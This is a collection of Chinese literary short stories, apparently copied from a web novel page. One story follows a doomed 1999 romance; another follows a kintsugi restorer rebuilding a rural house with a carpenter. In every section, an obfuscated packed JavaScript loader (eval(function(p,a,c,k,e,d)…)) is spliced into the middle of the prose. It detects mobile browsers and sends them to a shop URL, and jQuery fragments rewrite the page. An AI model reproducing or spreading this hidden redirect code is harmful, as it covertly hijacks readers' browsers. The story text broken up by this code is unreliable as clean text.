《一些神秘的短篇文集》 1. 《金鱼死在了一九九九》（1）（BE） 后来，阿青总是跟我想起那个晚上。 她说那是世纪末的最后一个冬天，宝岛北的雨水像是某种发酵过度的酒精，泼在柏油路上全是黏稠的反光。我们坐在那辆快要散架的二手摩托车上，穿过基隆路的高架桥。 一九九九年的尾声并没有具体的形状，它只是一团在那条基隆路高架上散不开的、带有铁锈味的雾。那时阿青坐在野狼125的后座。 雨水没有落下的过程，它们直接糊在我的护目镜上，像某种被捣碎的、灰色的昆虫尸体。视线被刮花了，台北的灯火在这些尸体后面晕开，红的绿的，流脓一样的光斑。 我也看不清仪表盘，只感觉□□的引擎在震动，那是唯一的真实。那震动顺着脊椎往上爬，一直钻进牙床里，把整个人震得酥麻、酸软，像刚拔完智齿后的那种空洞感。 阿青没有说话，也没有抱紧我。她只是一具贴在我背上的湿热物体。隔着廉价的塑胶雨衣，我能感觉到她的体温正一点点流失，像沙漏，或者像某种正在缓慢坏死的器官。 我们在飞驰，但周围的景色没有后退。那些高楼大厦像是一块块沉默的墓碑，矗立在灰黑色的河流两岸。好像我们不是在前进，而是在原地被传送带运送着，等着被送进某种巨大的、名为“千禧年”的焚化炉里。 我想，大概就是在这个瞬间，我完成了对我们结局的观看。没有什么撕心裂肺的预感，只觉得隔岸观火般的森冷。 风灌进领口，像一把钝刀在割喉咙。我眯起眼，看见前方的路灯一盏接一盏地亮起，又迅速在后视镜里拉长、扭曲，最后变成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088225|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一条细细的、烧焦的红线。我们就这样，在那条红线上烧尽了。 风很大，把她的头发吹进我的嘴里，有一股廉价洗发水混杂着烟草的味道。 那时候她紧紧抱着我的腰，像是要把肋骨勒断。她在喊什么，我听不见，风太大了。我只觉得我们像是在一条没有尽头的履带上飞驰，前方是深渊，后方是火海，但我们停不下来。 那种感觉：不停地看表，不停地存钱，又不停地花光，以为只要熬过这一年，这就是最后一次。但其实没有最后一次。所有的逃离都是在一个巨大的鱼缸里打转。 我们都知道这结局是什么。就像看着一块冰放在滚烫的铁板上，它一定会化，一定会滋滋作响，最后连水蒸气都不剩。 而我们还在骑机车，还在加速。 2. 《金鱼死在了一九九九》（2）（BE） 佐： 我又开始给你写信了。在那个总是漏水的卫生间里，坐在马桶盖上。瓷砖的缝隙里长出了新的霉斑，青黑色的，像一种皮肤病，正在缓慢地、坚定地向镜子边缘蔓延。 我盯着那块霉斑看了很久，觉得它比我们的关系更有生命力。它至少在生长，而我们只是在维持一种尸体的防腐。 你睡在外面那张床上。呼吸声很沉，隔着一扇受潮变形的木门传进来，听起来像某种老式风箱在拉扯。 我有那么一瞬间，产生了一种极其冷静的、近乎外科医生般的冲动。我想把你这层名为“恋人”的表皮剥下来，不仅仅是比喻义上的。 我想看看在那层温热的、散发着洗涤剂香味的皮肤下面，究竟藏着什么构造，能让你如此安然地在一个正在崩塌的房间里入睡。 这就是我的暴戾，佐。 邱妙津说人对于他人的爱，本质上是想把对方吞吃入腹。但我不想吃你，由于某种长期的消化不良，我已经对这种亲密感到反胃。我只想把你制成标本。 写这些信的时候，我觉得自己像是一只被剥了皮的兔子，红色的肌肉纤维暴露在空气里，每一丝风吹过都是一种刑罚。 这种痛感是粗粝的，像砂纸打磨着视网膜。我恨这种痛感，但我更恨那个不再痛的自己。你大概永远无法理解，我对你的爱，本质上是一种暴力的自我肢解。 我想把心脏挖出来，放在福尔马林里，贴上标签寄给你。我想让你看到它还在跳动，看到上面每一根血管的纹路，看到它因为你的冷漠而产生的每一次痉挛。 昨天我们在厨房剥橘子。汁水溅到你的眼睛里，你下意识地闭眼、流泪。我递给你纸巾，手指碰到你的脸颊。 那一刻，我在心里退后了一万米，站在一条冰冷的河对岸，看着厨房里的那一幕。我看着那个“我”在温柔地帮你擦拭，嘴里说着抱歉。 同时，我看着那个“我”手里紧紧攥着那把水果刀，刀刃对着空气，像是在切割一段看不见的神经。这种分裂感让我着迷。 我就像是一个买了票进场的观众，看着舞台上的“我们”在表演一场名为《日常生活》的默剧。我知道剧本的下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088226|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一页是争吵，再下一页是冷战，结局是那只橘子烂在桌角，长出和你脸上表情一样的灰白色的毛。 但我不会喊停。 我会安静地坐着，看着这把火从桌角烧起来，烧到窗帘，烧到你的眉毛，最后烧成灰烬。 你说我太极端，说我的爱让人窒息。 你说得对。在这个在此刻的世界上，连呼吸都是一种对他人的侵犯。我不想做什么体面人。体面是留给死人的遗容整理。活着的人，就该是狼狈的，是歇斯底里的，是满地打滚求一点温存的畜生。 但我又清楚地知道，这些话我一句也不会对你说。我会把这封信烧掉，然后微笑着问你今晚想吃什么。这就是我的虚伪，佐。 我在心里为你搭建了一座坟墓，每天夜里在里面为你守灵，哭得肝肠寸断；但天一亮，我又是那个冷静的旁观者，看着你，像看着一个陌生人。 我现在要把这页纸烧了。火苗舔过纸张的声音，像是在咀嚼。 这是我爱你的唯一方式：在一场必将到来的毁灭里，保持绝对的清醒，并以此为乐。 3. 《金鱼死在了一九九九》（3）（BE） 阿青离开的那天，家里安静得像一座废弃的博物馆。她走的时候，带走了那条金鱼，但留下了鱼缸。那是一个正方形的玻璃体，里面的水少了一半，内壁上附着一层滑腻的、褐色的藻类尸体。水面上漂浮着未吃完的饲料颗粒，已经泡发了，像某种溃烂的伤口痂皮。 我坐在沙发上，手里夹着一支没点燃的烟。 屋子里安静得近乎耳鸣。这种安静不是空旷，而是一种高气压的逼视。冰箱压缩机“嗡”地响了一声，然后猛地停住，像是一个人在呼吸骤停前的最后一口气。 我坐在那张陷下去的人造革沙发里。那是我们共同生活的遗址。茶几上那个由灰尘构成的长方形轮廓——那里原本放着她的化妆镜。那个轮廓干净得刺眼，与周围灰扑扑的桌面格格不入。它像是一个刚被挖掉的器官留下的坑洞，还在渗着某种看不见的组织液。 没有眼泪，也没有所谓的崩溃。 我想，这应该是一场盛大的崩塌。就像史书里写的那些亡国之君，站在城墙上看着敌军的火把连成一片，宫殿的横梁在大火中噼啪作响。那应该是一种悲壮的、毁灭性的美感。 然而现实没有任何声音。我看着原本放着她牙刷的杯子空了一个洞，看着玄关处少了一双鞋。我像是在读一本写得很烂的小说，翻到最后一页，发现作者只是草草写了“全剧终”三个字。 我感到一种奇异的抽离。仿佛灵魂飘出了躯壳，悬浮在天花板的一角，冷冷地俯视着坐在沙发上的那个“我”。 那个“我”应该哭吗？应该追出去吗？应该把屋里的东西都砸烂吗？ 并没有。灵魂在冷笑。 他看见：一个男人像一袋被遗弃的垃圾一样瘫软在沙发上。光线昏暗，男人的手指在颤抖，不是因为悲伤，而是因为长时间维持一个姿势导致的肌肉痉挛。 他看见：那个男人拿起打火机。“咔嚓”一声，火苗窜出来。那是一朵极小的、蓝黄交织的火花。男人点燃了烟。红色的火星在阴暗中忽明忽灭，像是这个微型王朝覆灭后仅存的烽火。 我就那样看着“我自己”。 看着烟雾从那张干裂的嘴唇里吐出来，缓慢地爬上满是水渍的墙壁。 我想，这就叫“隔岸观火”。 岸这边，是那个□□的、狼狈的、被剥离了爱欲的男人，正独自面对着一场海啸般的虚无；岸那边，是那个灵魂的、绝对理性的我，正饶有兴味地欣赏着这具躯壳是如何在寂静中一点点风化的。 楼下的霓虹灯亮了，红的绿的光斑映在我的脸上。夜市大概开始了，重低音的电子乐顺着排水管爬上来，震得窗玻璃微微发颤。对面楼的一对情侣在吵架，声音尖锐得像是指甲划过黑板。我吸了一口烟，看着烟雾在空气中消散。 我对自己说：“看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088227|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊，这就是你预演了无数次的结局。它发生了。就像一场大火烧过了河对岸的村庄，你站在这一岸，脸上一片清凉，甚至还有闲情逸致去欣赏火焰的颜色。” 我弹了弹烟灰。灰白色的粉末落在地板上，那一瞬间，我仿佛听见了一座城池轰然倒塌的声音。但我只是动了动手指。一切都结束了。 我不难过。我只是觉得空。 那种空，不是容器被倒空的空，而是容器本身被打碎了，碎片混在泥土里，分不清哪里是自我，哪里是尘埃。 很多年后，我偶尔会在街上看到类似阿青背影的人。那时候，我已经学会了像正常人一样生活。上班，下班，在便利店买打折的便当，和不爱的人上床，然后在事后抽烟时谈论天气。 记忆里的颗粒感被时间磨平了，变得光滑而不可抓取。曾经那种想要死在蒙马特高地、想要在塞纳河里溺毙的激情，如今看来像是一个蹩脚的笑话。 我回过头，看着一九九九年的那个自己，骑着摩托车在雨夜里狂奔。他以为他在奔向未来。但我知道，他只是在一遍又一遍地，冲向那个必定会发生的、虚无的终点。 我看着他，就像看着一只被封在琥珀里的苍蝇。我对他举杯，以此致敬我们终将逝去的、毫无意义的痛苦。 鱼缸里的水不再流动，那个属于一九九九年的夏天，终于死在了这缸浑浊的死水里。 4. 《把裂痕填满金子》（1） 鹿谷的午后并没有那种虚张声势的静，它只是单纯的、厚实的沉寂。 只有那辆中巴车卷着尘土远去的声音，像一只在这个山坳里迷路的甲虫，嗡嗡声渐行渐远，最后被此起彼伏的蝉鸣彻底淹没。 李默站在路边，脚下的柏油路到了这里就断了，往前是碎石和黄泥混杂的小道。他把背包往肩上提了提。这里没有风，阳光像是某种浓稠的蜂蜜，从树叶的缝隙里漏下来，直接黏在他的脖颈上。热，但是不燥，是一种要把人体内的寒气强行逼出来的烘烤感。 他没有急着走，而是眯着眼，看了一眼面前这座半隐在竹林里的老宅。 这就是祖父留下的房子。十年没人住，瓦片上长满了厚厚的青苔，像一层发了霉的绒毯。西边的围墙塌了一角，露出了里面朽坏的木结构，像是一张没牙的嘴，正对着大山敞开着。 如果是在以前，在那个充斥着霓虹灯和过剩信息的城市里，李默大概会把这景象解读为“衰败”或“死亡”。他会站在远处，点一支烟，感叹时光如何无情地吞噬一切。 但现在，作为一名金缮师，他看到的不是死亡。 他看到了榫卯松动的间隙，看到了木料虽然发黑但依然坚硬的芯材，看到了那些青苔下面正在努力呼吸的瓦当。 它只是病了。它需要一双手。 李默走上前，推开了那扇沉重的木门。 “吱呀——” 声音很钝，像是老人关节的摩擦。灰尘在这个瞬间拥有了实体，它们在光柱里翻滚、跳跃，没有任何悲伤的意味，只是单纯地宣告着空气的流动。 屋里有一股陈年的樟木味，混杂着干燥的稻草香。李默没有像个游客一样四处张望，他把背包扔在门槛上，做的第一件事是脱掉鞋袜。 他赤脚踩在了那层厚厚的积灰上。 足底传来凉意，那是透着地气的凉，顺着涌泉穴往上爬，让他那个在空调房里被吹得僵硬的脊椎打了个激灵。脚底板感受到了地砖的凹凸不平，感受到了细小的沙砾。 这种触感粗糙、真实，确凿无疑。他不再是飘在半空中的幽灵，重力重新抓住了他，把他牢牢地钉在了这块土地上。 他卷起袖子，走到庭院里。 这里原本应该是个花园，现在已经被野草接管了。一种不知名的藤蔓植物霸道地爬满了水井，叶片肥厚，绿得流油。 李默没有思考什么人生意义，他只是觉得手痒。那是匠人的本能——看到无序的东西，就想用双手去建立秩序。 他蹲下来，手指插进泥土里，握住了一把野草的根部。 发力。 泥土松动的声音是闷闷的，“扑哧”一声，草根带着一大团黑色的泥土被拔了出来。 泥土是暖的。 不是那种刚下过雨的阴湿黏腻，而是晒足了太阳后，那种蓬松的、带着酵母气味的温热。指甲缝里瞬间被塞满了黑泥，掌心的皮肤被草茎勒得微微发痛。 但他觉得舒服。 这痛感不是为了证明活着，而是劳动本身的回馈。汗水很快顺着鬓角流下来，流进眼睛里，杀得生疼。他抬起胳膊胡乱擦了一把，继续拔草。 一下，两下。 时间在这里不再是被切碎的秒针，而变成了某种连续的、可以被拉伸的胶体。他忘记了他是谁，忘记了城市里那些必须要回复的邮件，忘记了那个总是冷眼旁观自己的“第二人格”。 此时此刻，他只是一具正在劳作的□□，一只在土里刨食的动物。 “当——” 铁铲突然碰到了一块硬物，发出一声清脆的闷响。 李默停下动作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088228|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。他用铲子小心地拨开周围的浮土，那东西露出了真容。 那不是石头，是一块带着弧度的陶片。 他放下铲子，用手指一点点抠掉周围裹得严严实实的泥巴。随着挖掘的深入，第二块、 三块……一共四块碎片被他挖了出来。 拼在一起，是一只粗陶的大碗。 碗口有缺损，釉色是那种并不精致的灰青色，上面还留着不知多少年前的火痕。看样子，这应该是几十年前祖母喂鸡或者盛水用的东西，碎了之后就被随意丢在了院子里，被时间掩埋。 如果是以前，李默会觉得这是一堆垃圾。 但现在，他盘腿坐在满是杂草的地上，手里捧着那几块带着泥土腥气的碎片，像捧着刚出生的雏鸟。 阳光照在他的背上，烫得发热。 他用拇指摩挲着陶片的断茬。那断面粗糙、锐利，像是一道尚未愈合的伤口。但在金缮师的眼里，这道伤口是开放的，它在等待被填充，被接纳，被赋予新的线条。 这只碗没有死。它只是在土里睡了一觉，等着一个人把它挖出来，告诉它： “没关系，我们可以重新来过。” 李默从井里打了一桶水。井水冰凉彻骨，泼在陶片上，冲刷出一股红色的泥浆。 他坐在门廊上，用毛刷仔细地清洗着每一条裂纹。水珠溅在他的脸上，在阳光下闪闪发亮。 此时此刻，山风吹过竹林，发出沙沙的声响。 李默低下头，看着手里逐渐露出本色的陶碗，嘴角第一次有了一个极其微小、但并没有任何嘲讽意味的弧度。 他感到一种前所未有的充盈。 那是属于此时、此地、此身的重量。不需要隔岸观火，因为火就在他手里，就在这堆正在被清洗的碎片里，温吞地、坚定地烧着。 5. 《把裂痕填满金子》（2） 第二天清晨，打破鹿谷寂静的不是鸟叫，而是一阵突突突的马达声。 一辆墨绿色的三轮小货车沿着碎石路爬了上来，车斗里堆满了原本色的杉木条，还有几个沾满泥土的工具箱。车还没停稳，一个人就跳了下来。 那是阿满。 她看起来和这座老宅一样，并没有什么精细修饰的痕迹。头发随意地挽了个髻，插着一根削尖的木筷子，身上穿着洗得发白的牛仔工装，袖口卷到手肘，露出的小臂结实、流畅，上面甚至还沾着几片新鲜的木屑。 “大梁是哪根坏了？”她没有寒暄，甚至没有自我介绍，仿佛她不是第一次来，而是这里出门买菜刚回来的主人。 李默手里还端着那碗没喝完的白粥，愣了一下，指了指西边的偏厅。 阿满点点头，戴上那双厚帆布手套，转身去搬车上的木料。 李默放下碗，走过去想要帮忙。 “这根沉，你抬那头。”阿满指了指杉木的一端。 李默弯下腰，双手扣住木料的边缘。那木头还没完全干透，带着一股生涩的树脂味和山林的潮气。 “一，二，起。” 随着阿满短促的口令，两人同时发力。 沉重。那是实实在在的、压在肌肉纤维上的重量。李默感觉到自己的肱二头肌瞬间绷紧，重心下沉，脚掌死死抓住了地面的碎石。 他们并不是在拥抱，中间隔着三米长的木料，但通过这根木头，李默感觉到了一种奇异的震颤——那是对面那个女人的力量，顺着木纹传导过来。她走得很稳，每一步都像是在把地面踩实。 这种感觉，和那个在暴雨中骑车的夜晚截然不同。那时是失控的滑行，而现在，是一种咬合。就像榫头对准了卯眼，两个人的力气必须精准地卡在同一个频率上，这根大梁才能被安稳地架上去。 并没有什么浪漫的对视，只有沉重的呼吸声和木料摩擦布料的沙沙声。但在这几分钟里，李默感到一种久违的、笃定的安全感。 下午的时候，阿满在屋顶上敲敲打打，李默则坐在廊下，开始修复那只从土里挖出来的陶碗。 这是一场关于时间的慢跑。 他从工具箱里取出一管生漆。那是从漆树上割下来的汁液，深褐色，粘稠，闻起来有一股特殊的酸味，像是发酵过的干果，又像是泥土深处的味道。 很多人受不了这个味道，甚至会对漆过敏，红肿发痒。但李默喜欢。他觉得这是植物的血液，是有生命的胶水。 他倒出一小碟面粉，又加了一点水，开始调制“麦漆”。 这是金缮的第一步：粘合。 不像502胶水那种瞬间凝固的化学反应，生漆的干燥需要湿度，需要温度，更需要漫长的等待。它不是把碎片强行粘在一起，而是渗透进陶土的孔隙里，把断裂的纤维重新“长”在一起。 李默用牛角刮刀挑起一团灰白色的麦漆，极薄地涂在陶片的断面上。他的动作很慢，呼吸放得很轻，仿佛怕吹散了空气中的某种平衡。 阿满不知什么时候从梯子上下来了，手里拎着一瓶水，站在旁边看。 “这玩意儿能粘住？”她问，声音里带着好奇，大嗓门刻意压低了一些。 “能。”李默头也没抬，刮刀沿着裂缝轻轻一抹，刮去多余的漆糊，“但急不得。漆干透要三天，阴干。” “三天？”阿满咕咚灌了一口水，“我修个屋顶都不要三天。你们城里人真是有闲心，烂碗也当个宝。” 话是这么说，但她并没有走开，而是蹲下身，看着李默把最后一块碎片严丝合缝地拼上去。 “嘶——” 突然，阿满倒吸了一口冷气。 李默停下手中的动作，抬头看她。 阿满皱着眉，把右手手套扯了下来。她的手掌很宽，指腹上全是常年干活磨出的硬茧，但此时，食指的指根处渗出了一颗血珠。 一根细长的、带着倒刺的旧竹签，深深地扎进了肉里。那是刚才清理旧瓦片时留下的暗算。 “没事，扎了一下。”阿满甩了甩手，想用嘴去吸。 “别动。”李默的声音不大，但有一种不容置疑的冷静。 他放下手里的陶碗，在围裙上擦了擦手，然后伸手握住了阿满的手腕。 在鹿谷的廊檐下，李默感到一种生理性的收缩——那是共情。 他看着那根刺，就像看到了那只陶碗上的一道裂痕。不同的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088229|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，陶碗是冷的，而阿满的手是热的，掌心有着粗糙的纹路，像木头的年轮，还在微微发颤。 “忍着点。” 李默从工具包里拿出一把精细的镊子——平时用来夹金箔的镊子。 他托着阿满的手，把她的手指凑到眼前。阳光下，那根竹刺的走向清晰可见。 镊子尖端精准地咬住了竹刺的尾端。李默屏住呼吸，顺着刺入的方向，平稳地、匀速地向外发力。 阿满的手指本能地缩了一下。 李默的手指立刻加了一点力道，温热的指腹按在她的手背上，像是一种无声的安抚。 “出来了。” 一根半厘米长的发黑竹刺被拔了出来，紧接着涌出的一股鲜血，带走了污物。 李默松了一口气。他没有立刻放开她的手，而是低下头，对着那个冒血的小孔，轻轻吹了一口气。 呼—— 温热的气流拂过伤口。 阿满愣住了。她看着眼前这个低着头的男人，看着他睫毛在脸颊上投下的阴影。那股气流并不凉，甚至带着点刚喝过粥的温度，痒酥酥的，顺着手指一直钻到了心口。 李默抬起头，从口袋里掏出一个创可贴——那是他为了干活常备的。他撕开包装，仔细地贴在阿满的手指上，动作比刚才涂抹麦漆还要轻柔。 “行了。”李默松开手，那股温热的触感消失了，但他指尖上似乎还残留着阿满手掌的粗粝感。 “谢……谢了啊。”阿满有些不自在地缩回手，脸颊上泛起一丝不易察觉的红晕，大概是被晒的，或者别的什么。 她抓起手套，为了掩饰尴尬似的，大声说道：“那个……我上去铺瓦了！晚上我不走了啊，蹭你一顿饭！” 说完，她像只灵活的猴子一样窜上了梯子。 李默坐在原地，看着重新变得空荡荡的手掌。 他拿起那只刚刚粘好的陶碗。碗身上的裂缝已经被漆糊填满，丑陋，发黑，像是一道道伤疤。 就在刚才，当他握住那只粗糙的手时，他确信自己回到了地面。他感觉到了疼，感觉到了热，感觉到了想要把什么东西修好的冲动。 那是比任何金粉都要昂贵的填充物。 6. 《把裂痕填满金子》（3） 山里的冬天来得很急，像是有人在昨夜悄悄把整个世界的色温调低了。 窗外的竹林挂了一层薄薄的霜，白得刺眼。那种冷是硬邦邦的，风撞在玻璃上，发出一种类似金属刮擦的脆响。 但屋内是另一番光景。 李默蹲在刚修好的壁炉前。这不是那种欧式别墅里的装饰品，而是他和阿满用红砖和耐火泥砌起来的土炉子，粗糙，并不规整，但胜在肚量大，吞吐有力。 他手里拿着一根劈开的松木，断面渗出的油脂在火光下晶莹剔透。 “啪。” 木柴被扔进炉膛。火焰贪婪地舔舐上来，发出一连串欢快的噼啪声。那种声音是干燥的、爆裂的，每一声炸响都像是在空气中崩开一朵微小的热浪。 李默不再是那个只会用打火机点烟、看着火星在阴暗中明明灭灭的看客了。 他的脸上被烤得通红，手上沾着黑色的炭灰。他拿着火钳，拨弄着炉底的余烬，控制着火势的呼吸。这种掌控感让他觉得踏实——热量不是凭空产生的，是你投入了木头，它才回报你温暖。这是一种最原始、最公平的交易。 “水开了没？” 阿满的声音从厨房传过来，伴随着洗菜盆里的哗哗水声。 “快了。” 李默把一只铸铁壶架在炉顶上。壶里装的是山泉水，还有一把并不值钱的粗茶老梗。 不一会儿，壶盖开始跳动。 “咕嘟——咕嘟——” 最初是闷响，像是深海里的气泡。紧接着，声音变得急促、高亢，变成了一种持续不断的沸腾声。白色的蒸汽从壶嘴里喷涌而出，在这个封闭的空间里横冲直撞，瞬间把窗户上的寒气晕染成了一层朦胧的水雾。 这声音太吵了。 但李默闭上眼，听着这壶水的咆哮。 他觉得这声音像是一颗强有力的心脏，在房子的胸腔里剧烈跳动。它把那些名为“虚无”、“无聊”、“没有意义”的缝隙，统统填满了。 阿满端着一盘洗好的红薯走了进来。她穿着一件臃肿的棉大衣，看起来像只笨拙的熊，但步子迈得很轻快。 “烤几个？”她把红薯放在炉边的铁架上，“这可是隔壁王婶刚从地窖里刨出来的，甜着呢。” “都要。”李默说。 阿满笑了一下，拉过一个小马扎，坐在他对面。 两个人就这样围着炉子，看着壶嘴喷出的白气，看着红薯皮在热气中慢慢变皱、渗出糖油。 空气里弥漫着松木燃烧的香气，混杂着煮茶的陈皮味，还有烤红薯那种霸道的焦甜味。这些气味是有密度的，它们沉甸甸地压下来，让人觉得安全，甚至让人觉得困倦。 “哎，李默。”阿满突然用火钳敲了敲炉砖。 “嗯？” “我在想，明年开春，院子西南角那块地空着也是空着。”她指了指窗外那片现在还是一片枯黄的土地，“我想种点番茄。要是还有空，再架个葡萄藤。” “番茄好。”李默拿起茶壶，给自己倒了一杯深褐色的茶汤，“要那种皮薄汁多的。” “那种不好伺候，得搭架子，还得防虫。”阿满认真地盘算着，“不过没事，到时候我去弄点竹竿。你也别闲着，葡萄架你得帮忙绑。” “行。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088230|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”李默答应得很干脆。 若是以前，听到“明年”、“开春”这样的词，李默会下意识地回避。对于一个他这样的的人来说，未来是一个伪命题，只有当下的毁灭才是永恒的。 但现在，他在谈论番茄。 他在谈论一种需要播种、发芽、开花、结果，需要经历漫长几个月才能兑现的果实。 他端起茶杯，滚烫的茶水顺着喉咙滑下去，那是实实在在的热度，一直熨帖到胃里。 他看着阿满被火光照亮的侧脸。她正专注地给红薯翻面，眼神里没有那种千禧年末的迷离和惶恐，只有对食物熟度的精准判断。 李默突然意识到，他不再漂浮了。 他就在这里。在这个充满了烟火气、有点呛人、又暖得让人不想动弹的房间里。 所谓的“时间”，不再是一条通向悬崖的传送带。 它变成了炉子上那壶不断沸腾的水，变成了阿满口中正在规划的春天，变成了红薯皮上慢慢渗出的那一滴金黄色的糖浆。 “想什么呢？快喝，茶凉了就苦了。”阿满催促道。 李默笑了笑，喝干了杯子里的茶。 “在想葡萄架。”他说，“我在想，用榫卯结构做个架子，应该能用很久。” “很久是多久？” “久到葡萄藤爬满整个架子，把太阳都遮住的时候。” 炉子里的火苗猛地窜了一下，照亮了李默的眼睛。那里面没有倒影出的废墟，只有两簇跳动的、金色的光。 他伸出手，又往炉子里添了一块柴。 他开始确信，这火光能一直烧到明年春天。 7. 《把裂痕填满金子》（4） 春天快结束的时候，房子修好了。 原本漏雨的屋顶换上了新瓦，颜色是那种沉稳的黛青色。西边塌掉的围墙被重新砌起，用的不是水泥，而是阿满从河滩上背回来的鹅卵石，一颗颗嵌在黄泥里，像是一排整齐的牙齿，咬合得紧紧的。 这是一个傍晚，夕阳像泼翻的金漆，从山口漫延过来，把整座鹿谷都浸泡在一种琥珀色的光泽里。 李默把那只刚刚彻底完工的陶碗摆在长桌正中央。 经过几十道大漆的髹涂、打磨，再扫上最后一道金粉，那几道曾经狰狞的裂纹消失了。取而代之的，是几条蜿蜒流淌的金色河流。 它们在灰青色的底釉上闪闪发光，不再像是某种残缺的证据，倒像是一道道从云层里裂开的闪电，或者某种古老地图上的水系。 李默伸出手，指腹轻轻滑过那些金线。 触感是微微凸起的，温润，细腻，甚至比原本光滑的釉面更让人想要停留。 “吃饭了。” 阿满端着菜从厨房走出来。一盘清炒的时蔬，一盘腊肉笋片。 她很自然地把那一碗刚出锅的、热气腾腾的白米饭，盛进了那只金缮过的碗里。 如果是在以前，李默或许会犹豫。他会觉得这只碗已经变成了某种“艺术品”，某种应该被供奉在玻璃柜里的标本，不该沾染凡俗的油脂。 但此刻，他看着那雪白的米粒堆在金色的线条之上，看着热气蒸腾，只觉得无比和谐。 物就是给人用的。被修好，就是为了再次盛满热食，再次被人捧在手心里。这才是给它最大的尊严。 两人对坐着吃饭。 窗外的葡萄架已经搭好了，虽然藤蔓还没爬满，但嫩绿的卷须已经迫不及待地缠上了木条。 “这碗用着顺手吗？”李默问，夹了一筷子笋片。 “顺手。”阿满大口刨着饭，腮帮子鼓鼓的，“而且看着喜庆。感觉这碗比以前更贵重了。” “是更贵重了。”李默看着她，眼神很静，“因为多了金子，也多了时间。” 阿满停下筷子，咽下口中的饭，突然没头没脑地说了一句：“李默，我觉得你变了。” “哪变了？” “刚来的时候，你整个人像是绷着一根弦，随时都要断。看东西的眼神也是飘的，好像谁都欠你一个解释。”阿满用筷子点了点那只碗，“现在嘛，像这只碗。虽然身上有缝，但是被填实了，稳当了。” 李默愣了一下，随即笑了。 他转过头，看向窗外连绵的群山。 那是真的。 他曾经等待一场必然的崩塌，觉得生命就是不断失去的过程，觉得裂痕就是毁灭的开始。 但在这里，在鹿谷的这张长桌前， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088231|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李默明白了另一件事。 生活一定会给你留下裂痕的。时间会磨损你的棱角，意外会打碎你的完美，人与人之间的摩擦会留下划痕。这不可避免。 